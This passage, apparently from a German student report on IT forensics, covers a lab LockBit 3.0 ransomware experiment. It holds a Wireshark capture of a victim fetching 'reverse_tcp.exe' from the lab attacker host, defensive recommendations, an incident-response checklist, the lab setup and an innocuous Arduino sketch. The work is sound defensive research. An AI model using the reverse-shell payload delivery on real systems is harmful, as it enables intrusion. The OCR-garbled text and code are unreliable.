L 2147 07 147126 65.2.102 10 60 [TCP Dup ACK 2146%1] 64629 [ACK] Seq=106 Ac Wi =
M Wireshark - Folge TCP Stream (tcp.stream eq 12) - reverse_TCP2 pcapng = o X

GET /reverse_tcp.exe HTTP/1.1

Host: 192.168.2.102:8000
Connection: keep-alive
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT
Accept: text/html,application/xhtml

10.0; Win64; x64) AppleebKit/537.36 (KHTHL,

like Gecko) Chrome/92.0.4515.131 Safari/537.36

Edg/92.0.962.67
X

Referer: http://192.168.2.102:8000/
Accept-Encoding: gzip, deflate

Accept-Language: de,de-DE;q=0.9,en;
If-Modified-since: Hon, 24 Jul 2623

HTTP/1.0 304 Not Modified
Server: SimpleHTTP/0.6 Python/3.9.1+
Date: Sat, 29 Jul 2023 10:47:26 GHT

1ot e sove okt e

Gesamte Verbindung (681 bytes) =

Suchen:

xml30=0.9, inage/

8,en-GB;q=0.7,en-US;q=0.6
20:13:07 GMT

Daten anzeigen als ASCIT v

apng, */*

5v=b3;q=

Stream

Néchstes suchen

Diesen Stream fitern  Drucken

spechem .. [ zuwtce | scrlesen

Hire

Abbildung 62: Reverse TCP Shell in PCAP-Dump, Quelle: eigene Darstellung

73



Evaluation und Diskussion

9 Evaluation und Diskussion

9.1 Praventive IT-Forensik

IT verfolgt nie eine Selbstzweck und unterstitzt immer nur das eigentliche
Business, mit dem das Unternehmen Geld verdient. Noch viel kritischer ist hier
die IT-Sicherheit mit der Nische IT-Forensik. Durch diese kann das Unternehmen
kein extra Geld verdienen, sondern sich immer nur vor Schadensfallen oder

Strafzahlungen absichern.

Die IT-Forensik beschaftigt sich originar mit Schadensfallen in der
Vergangenheit. Jedoch kann ein Unternehmen dem IT-Forensik-Team
unglaublich helfen, wenn mehr Log-Daten zur Auswertung anfallen. Bereits diese
Log-Files kdnnen durch Echtzeit-Uberwachung analysiert werden.

Neben Schulungen fur die Belegschaft in der IT-Sicherheit ist auch eine Schulung
von einzelnen IT-Mitarbeitern in der IT-Forensik wichtig. Bei Banken ist dies
bereits weit verbreitet. Diese prifen nach einem moglichen Schadensfall neben
den hier erklarten IOAs und IOCs auch, welche Systeme betroffen sind und wie

weit die Schadsoftware vorgedrungen ist.

Neben den allgemeinen IT-Sicherheitsstandards, wie z.B. aus dem BSI-
Grundschutzkatalog sind auch periodische Sicherheitsaudits, eine Unterteilung
des Unternehmensnetzwerk in Segmente, die stéandige Uberprifung von
Benutzerberechtigungen (zur Vermeidung von Benutzerleichen), wie auch ein
Aktionsplan fur Schadensfall mit einem Business-Contuity-Management
vonnoten. Es ist nicht die Frage, ob man Ziel eines Angriffes wird, sondern nur,

wann und wie gut man darauf vorbereitet ist.
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9.2 Handlungsempfehlungen zur Erkennung und Verhinderung
zukunftiger Angriffe

Leider sind Cyberangriffe zur Norm geworden und Unternehmen mussen daher
proaktiv sein, um sich gegen diese Bedrohungen zu schutzen. Einige bewahrte
Vorgehensweisen und Technologien konnen die Sicherheit erheblich verbessern.

Ein Security Information and Event Management (SIEM) ist unerlasslich, um
Echtzeit-Analysen zu Sicherheitsalarmen durchzufuhren. Diese Systeme
erfassen und analysieren Protokolldaten, um so sicherheitsrelevante Vorfalle zu
identifizieren. Zusammen mit Verhaltensanalysetools kdnnen sie verdachtige
Aktivitaten erkennen und darauf reagieren. Darlber hinaus geht die heuristische
Uberwachung, welche auf bestimmte Muster achtet, um neuartige Angriffe zu
entdecken.

Zur Vorbeugung sind Whitelists fur Anwendungen hilfreich. Diese Listen
gewabhrleisten, dass nur vertrauenswurdige Anwendungen in einem Netzwerk
ausgefuhrt werden konnen. Netzwerkanalysen konnen ungewohnlichen
Datenverkehr aufdecken, wahrend das Uberwachen von E-Mail-Anhangen und
Links schadliche Inhalte filtert.

Ein weiteres Augenmerk sollte auf ungewohnliche Login-Aktivitaten gelegt
werden. Mehrfache Anmeldeversuche oder Zugriffe zu ungewohnlichen Zeiten
konnen Indikatoren fur einen Angriff sein. Das schnelle Reagieren auf solche
Meldungen ist ebenso wichtig wie die periodische Uberprifung von
Schwachstellen im System.

Die Implementierung von Anomalie-Erkennungssystemen und der Einsatz von
Threat-Hunting-Strategien bieten weitere Sicherheitsebenen zum Schutz an. Es
ist ebenso wichtig, Mitarbeiter kontinuierlich zu schulen, insbesondere im Hinblick
auf Phishing-Versuche, aber auch das IT-Fachpersonal.

Im Netzwerk findet immer mehr verschlUsselt statt, deshalb sind Endpoint
Detection and Response (EDR) Tools essentiell fir die Uberwachung von
Endpunkten im Netzwerk. Zuletzt wird auch Kl integriert, wie wir bei unseren

Vortragen mitbekommen haben. Dadurch konnen Sicherheitslosungen schneller
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und effektiver agieren.

Auf organisatorischer Ebene sollte ein Prozess etabliert werden, der bewertet, ob
eine Schwachstelle das Unternehmen betrifft, oder nicht. SchlieRlich sollte im
Bereich der IT-Forensik eine regelmaflige Auswertung von Log-Files stattfinden,
sodass auch frihe Anzeichen eines Angriffs identifiziert werden konnen. Diese
Log-Dateien konnen wertvolle Informationen daruber liefern, wann und wo ein
APT-Zugang zum System erhalten hat, welche Aktionen durchgefuhrt wurden
und ob Daten manipuliert oder exfiltriert wurden.

Wie zuvor beschrieben sollte auch dem Schutz von Netzwerkfreigaben gelten.
Wahrend einige Daten oder Gerate auf den ersten Blick als harmlos eingestuft
werden konnten, konnten sie in den Handen eines Angreifers, der bereits Zugriff
auf das Netzwerk hat, zu einem erheblichen Risiko werden. Es ist daher

unerlasslich.

Es sollte in einem Unternehmen ein Sicherheitsmodell eingefuhrt werden,
welches Technologie, Prozesse und Menschen zusammenfasst. Dazu sollte ein

besonderer Aspekt auf die IT-Forensik gelegt werden.

9.3 Checkliste zum Abarbeiten von Ransomware Angriffen in der IT-
Forensik

Die NIST SP 800-61 fuhrt einen Prozess mit 4 Schritten fir das Incident

Response ein. Der Prozess gliedert sich dabei in:

-

. Preperation,
2. Detection & Analysis,

3. Containment Eradication & Recovery,

B

Post-Incident Activity.

Der Prozess zum Arbeiten eines Ransomware Angriffs beginnt bereits in dem 1.
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Schritt und muss bis zum letzten Schritt des Prozesses durchgefuhrt werden.
Dabei ist der IT-Forensiker ein Teil des Incident Response Teams, welcher je
nach Unternehmensgroe auch von extern eingekauft werden kann. Die Autoren
haben sich fur eine Darstellung als Checkliste entschlossen. Neben allgemeinen
IT-Sicherheitsstandards sollte deshalb folgendes beachtet werden:

Tabelle 1: Checkliste zum Abarbeiten von Ransomware Angriffen in der IT-Forensik, Quelle:

eigene Darstellung

1. Preparation (Vorbereitung):

1.1 Technische MalRnahmen:

1.1.1 | Spezialisierte Forensik-Tools: Etablierung forensischer Software, die
speziell fur die Analyse von Malware und Ransomware entwickelt

wurde.

1.1.2 | Isolierte Testumgebungen: Einrichtung von Sandboxing-Umgebungen,

um verdachtige Dateien ohne Risiko zu 6ffnen.

1.1.3 | Digitaler Beweissicherung: Einrichten von Systemen und Prozessen
zur digitalen Beweissicherung, um Datenintegritat und -authentizitat

sicherzustellen.

1.1.4 | Forensischen Honeypot: speziellen Computer wahlen, welcher nach

einem Ransomware priorisiert analysiert wird.

1.2 Organisatorische MalRnahmen:

1.2.1 | Schulungen in IT-Forensik: TTPs schulen, testen und uben.

1.2.2 | Vorfalle kategorisieren: Spezifische Kategorien fur verschiedene Arten
von Ransomware-Attacken, um gezieltere Untersuchungen zu

ermoglichen.

1.2.3 | SLAs schliel3en: sollten keine interne Experten fur IT-Forensik, oder
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das Reverse Engineering bereistehen, so sollten SLAs mit externen
Experten/ Unternehmeng geschlossen werden.

1.2.4 | Meldeketten etablieren: Logs, welche Kommunikation aufzeichenen
und automatisch Vorfalle melden, aber auch eine zentrale
Notrufnummer, welche Mitabreitern bei Vorfallen in ausgedruckter
Form bereitsteht.

2. Detection & Analysis (Erkennung & Analyse):

2.1 Technische Malinahmen:

2.1.1 | Malware-Analyse: Nutzen spezifischer forensischer Tools, um
Ransomware zu dekompilieren und zu analysieren.

2.1.2 | Log-Analyse: Uberpriifen und Analysieren von Logs auf Indikatoren
eines Angriffs (I0OCs und I10As).

2.2 Organisatorische MalRnahmen:

2.21 | Forensisches Berichtswesen: Erstellung detaillierter forensischer
Berichte, um die genauen Vorgange und Tater zu identifizieren.

3. Containment, Eradication & Recovery (Eindammung, Beseitigung &
Wiederherstellung):

3.1 Technische Malinahmen:

3.1.1 | Forensische Festplattenbilder: Erstellung von Bit-fir-Bit-Kopien von
betroffenen Systemen, um spatere Analysen durchzufuhren, ohne das
Originalsystem zu verandern.

3.1.2 | Forensische Analyse des Netzwerkverkehrs: Untersuchen, wie die
Ransomware ins Netzwerk gelangt ist und wie sie kommuniziert hat.

3.2 Organisatorische MalRnahmen:
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3.2.1 | Koordination mit Strafverfolgungsbehorden: je nach Gesetzeslage
teilen von Informationen und Daten mit den Behdrden, um den
Angreifern nachzugehen.

3.2.2 | Koordination mit externen Experten: Mdogliches Wissen uber Ver- und
Entschlusselung teilen um das System zu retten.

4. Post-Incident Activity (Nachbearbeitung):

4.1 Technische Malinahmen:

411 | Tiefere forensische Analyse: Analyse von Datenrlckstanden,
Dateisystem-Artefakten und Speicherabbildern, um vollstandige
Informationen Uber den Angriff und den Angreifer zu erhalten.

4.2 Organisatorische MalRnahmen:

4.2.1 | Forensische Aufbewahrung: Langfristige sichere Aufbewahrung von
Beweismitteln fur mogliche rechtliche Schritte oder spatere Analysen.

4.2.2 | Revision und Aktualisierung von Forensik-Methoden: Uberpriifung der

Methoden und Techniken, um sicherzustellen, dass sie mit den

neuesten Bedrohungen Schritt halten.
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10 Schlussfolgerungen

Derzeit sind loT-Gerate, in klassischen Unternehmensnetzwerken oft zur
Steuerung von Anzeige- oder Messkomponenten eingebunden, sowohl als
Angreifer wie auch als Ziel eines Angriffes als zu Uberwachendes Gerat
einzustufen. Im gewahlten Szenario wurde als angreifendes IT-System bewusst
ein Raspberry gewahlt, um Ruckschlusse auf die Verwendbarkeit fur einen
potenziellen Angreifer zu ziehen, und das Ergebnis zeigt, dass auch von loT-
Komponenten erfolgreiche Angriffe ausgefuhrt werden konnen. Die Gerate
mussen jedoch eine gewisse Komplexitat aufweisen, der Arduino mit seiner
einfachen Betriebssystemstruktur wurde vom Angriff nicht betroffen, hier ware

eine maligeschneiderte Losung vonnoten.

10.1 Zusammenfassung der Ergebnisse

Nach Durchfuhrung eines Ransomware-Angriffes auf ein Element eines
gemischten Netzwerkes mit Windows- und loT-Geraten mit der bekannten und
weitverbreiteten Schadsoftware LockBit 3.0 Black kann zusammenfassend
gesagt werden, dass die Auswirkungen im gewahlten Szenario fur die nicht direkt
angegriffenen Komponenten des Netzwerkes identisch sind, sofern die
Grundvoraussetzungen der Netzwerkfreigabe und Anbindung der Freigaben als
Netzlaufwerke im Betriebssystem der primar angegriffenen Netzwerk-
komponente gegeben sind. Sowohl beim klassischen Windows-System als auch
bei dem als Netzwerkgerat angebundenen Raspberry Pi Zer0 wurden die
freigegebenen Dateien auf den Netzlaufwerken verschlusselt, der Arduino war
aufgrund seiner limitierten Moglichkeiten der Netzwerkfreigabe nicht betroffen.

Eine Verbreitung ist auf keines der Systeme feststellbar, aber auch nicht in

LockBit 3.0 vorgesehen.

Die Moglichkeit des Datenabflusses wurde im gewahlten Szenario aufgrund der

Voreinstellungen ausgeschlossen.
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10.2 Mogliche zukiinftige Forschungsarbeiten

Ein Beispiel fur zukunftige Forschungsarbeiten durfte Schadsoftware darstellen,
die eine Angriffslosung fur die in unserem Szenario nicht betroffenen Gerate mit
stark limitierten Moglichkeiten wie Arduinos oder SPS-Steuerungen (als Beispiel
seien hier nur Analoge zum Stuxnet-Angriff auf das iranische Atomprogramm

genannt) sowie deren Verbreitung Uber gemischte Netzwerke darstellen.

10.3 Ausblick und Fazit

Allgemein durften fur loT-Gerate mal3geschneiderte Schadsoftware aufgrund des
Hauptzieles der meisten Tater, durch die Verschlisselung wichtiger Daten von
Privatpersonen und Unternehmen finanzielle Mittel zu erpressen, noch
weitestgehend unattraktiv sein, zumal diese Tater ihre Schadsoftware haufig auf
einem zugekauften Baukastensystem aufbauen und selbst nur eingeschrankte
Programmierfahigkeiten verfugen.

Fur Tater aus dem Bereich der Industriespionage oder staatliche Akteure konnten
solche Losungen aber durchaus bereits heute Anwendung finden.
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14 Anhang, Anlagenverzeichnis und Anlagen

14.1 Hard-, und Software des Versuchsaufbaus

Angriffsrechner: Raspberry Pi:
IP Adresse: 192.168.2.102
Hardware: Rasperry Pl 4B 8GB RAM

Betriebssystem: Kali GNU/Linux Rolling Ver. 2020.4

Primares Angriffsziel: Windows Laptop
IP Adresse: 192.168.2.103
Hardware: Aquado Intel Core I7 3610QM 2,3GHz 8GB RAM

Betriebssystem: Windows 10 Pro Ver. 22H2

Sekundares Angriffsziel: Windows Desktop Rechner
IP Adresse: 192.168.2.104
Hardware: HP Prodesk Intel Core i5-6500 3,20Ghz 24GB RAM

Betriebssystem: Windows 10Pro Ver 22H2

Sekundares Angriffsziel, pot. IOT Gerat: Raspberry Pi
IP Adresse: 192.168.2.105

Hardware: Raspberry Pl Zero Wh 512 GB
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Betriebssystem: Raspberry GNU/Linux 11 (bullseye)

Sekundares Angriffsziel, pot. IOT Gerat: Arduino
IP Adresse: 192.168.2.129
Hardware: Elegoo Arduino R3

Betriebssystem: Eigenstandiges Microcontrollerprogramm, siehe 74.2

Router: Speedport W502V Typ A
IP Adresse: 192.168.2.100
Switch: TP-Link TL-SG108E

IP Adresse: 192.168.2.1

Auswerterechner:
Hardware: Aquado Intel Core I7 3610QM 2,3GHz 8GB RAM
Betriebssystem: Ubuntu 22.04.1 LTS (Jammy Jellyfish) in der Version von HPM

EWF Aquire Version: 20140807

14.2 Arduino Microcontroller Skript

Das Script des Arduino wird mittels einer speziellen Arduino GUI auf den
Microcontroller Uberspielt und lauft dann eigenstandig nach Start des Controllers

in Endlosschleife. Die verwendete Programmiersprache ist C.
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#include <SPIl.h>
#include <Ethernet.n>

/[ Enter a MAC address and IP
address for your controller below.

/I The IP address will be dependent

on your local network:

byte mac[] = {OxDE, OxAD, OxBE,
OxEF, OxFE, OxED };

IPAddress
ip(192,168,2,129);//modifying
according your own IP

/I Initialize the Ethernet server library

/[ with the IP address and port you

want to use
Il (port 80 is default for HTTP):

EthernetServer server(80);

#include <SD.h>

hinzufugen

//SD Library

int a=0; // Variable fur einen
Zahlvorgang

int b=0; // Variable fur einen

Zahlvorgang
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const int chipSelect = 4; //Chip Pin fur
die SD Karte(bei UNO 4,bei MEGA
53)

void setup() {

/I Open serial communications and

wait for port to open:
Serial.begin(9600);
while (!Serial) {

; /I wait for serial port to connect.

Needed for Leonardo only

}

/I start the Ethernet connection and

the server:

Ethernet.begin(mac, ip);
server.begin();
Serial.print("server is at ");
Serial.printin(Ethernet.locallP());
//SD_Card Setup

pinMode (13, OUTPUT);

if (startSDCard() == true) // Durch
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den Ruckgriff auf den
Programmblock "startSDCard" wird
die SD-Karte gepruft. Wenn die SD
Karte gelesen werden kann dann soll
die onboard-LED an Pin13 zweimal

blinken
{
digitalWrite(13, HIGH); //an
Serial.printin("13, HIGH");
delay(500);
digitalWrite(13, LOW); //aus
Serial.printin("13, LOW");
delay(500);
digitalWrite(13, HIGH); //an
Serial.printin("13, HIGH");
delay(500);
digitalWrite(13, LOW); //aus
Serial.printin("13, LOW");
delay(500);

1

void loop() {

IP();
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delay(2000);

SD_Card();

}

void IP() {

/I listen for incoming clients

EthernetClient client

server.available();
if (client) {
Serial.printin("new client");

/I an http request ends with a blank

line

boolean currentLinelsBlank = true;
while (client.connected()) {

if (client.available()) {

char ¢ = client.read();
Serial.write(c);

/I if you've gotten to the end of the

line (received a newline

/I character) and the line is blank, the

http request has ended,
// so you can send a reply

if (c =="\n' && currentLinelsBlank) {
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/I send a standard http response
header

client.printin("HTTP/1.1 200 OK");

client.printin("Content-Type:
text/ntml");

client.printin("Connection: close"); //
the connection will be closed after

completion
//of the response

client.printin("Refresh: §"); // refresh

the page automatically every 5 sec
client.printin();
client.printin("<!DOCTYPE HTML>");
client.printin("<html>");

/I output the value of each analog

input pin
for (int analogChannel = O0;
analogChannel < 6;

analogChannel++) {

int sensorReading =

analogRead(analogChannel);
client.print("analog input ");
client.print(analogChannel);
client.print(" is ");

client.print(sensorReading);
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client.printin("<br />");

}

client.printin("</html>");
break;

}

if (c =="\n") {

// you're starting a new line
currentLinelsBlank = true;
}

else if (c!="\r") {

/I you've gotten a character on the

current line

currentLinelsBlank = false;

}
}
}

/I give the web browser time to
receive the data

delay(1);
/I close the connection:
client.stop();

Serial.printin("client disonnected");
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1

boolean startSDCard() // Dieser
Programmblock wird bendtigt, um zu
prufen, ob die SD-Karte einsatzbereit
ist.

Serial.printin("prozedure
startSDCard");

boolean result = false;

pinMode(4, OUTPUT); /I 4 bei
UNO, bei MEGA in 53 andern

if ('SD.begin(chipSelect))
//Oberpriifen ob die SD Karte

gelesen werden kann

{

result = false;

Serial.printin("prozedure
startSDCard return false");

}

else // Wenn ja Datei wie im Loop

anlegen

{
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Serial.printin("prozedure

startSDCard return true_else
Zweig");

File dataFile =
SD.open("datalog.csv",
FILE_WRITE);

if (dataFile)
{

dataFile.close();

result = true;

}

return result;

void SD_Card()

{
Serial.begin(9600);

File dataFile =
SD.open("zaehlen.csv",
FILE_WRITE); //Excel Datei auf der
SD Karte anlegen mit dem Namen

"zaehlen"

Serial.printin("datei oeffnen");



Anhang, Anlagenverzeichnis und Anlagen

a=a+1; // Unter der Variablen "a" wird
jetzt der Wert a+1 gespeichert.
Dadurch wird der Wert fur "a" in

jeden Durchgang um 1 erhoht.

b=b+2; // Unter der Variablen "b" wird
jetzt der Wert b+2 gespeichert.
Dadurch wird der Wert far "b" in
jeden Durchgang um 2 erhoht.

dataFile.print(a); // Wert fur "a" wird
auf die SD-Karte gespeichert

Serial.printin(" schreiben von a");

dataFile.print(";"); // Es wird ein
CSV-Datei
gespeichert, daduch lassen sich die

Semikolon in die

Werte spater als Tabelle getrennt
darstellen.

Serial.printin(" schreiben von ;");
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dataFile.printin(b); // Wert far "b" wird
auf die SD-Karte gespeichert

Serial.printin(" schreiben von b");

dataFile.close(); // Die Datei wird
vorrubergehend geschlossen.

Serial.printin("datei schlieRen");
digitalWrite(13, HIGH);
delay(500);
digitalWrite(13, LOW);

delay(500); // Hier endet der Loop
und beginnt dann wieder von vorne.
Es werden im Sekundentakt die
Werte fur "a" und "b" in die Tabelle

auf der SD-Karte gespeichert.

'}



Verzeichnis der Abklrzungen
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ATP Advanced Persistnt Thread

DIN Deutsches Institut fur Normung

ISO International Standards Organization

IEEE Institute of Electronic and Electrotechnical Engineers
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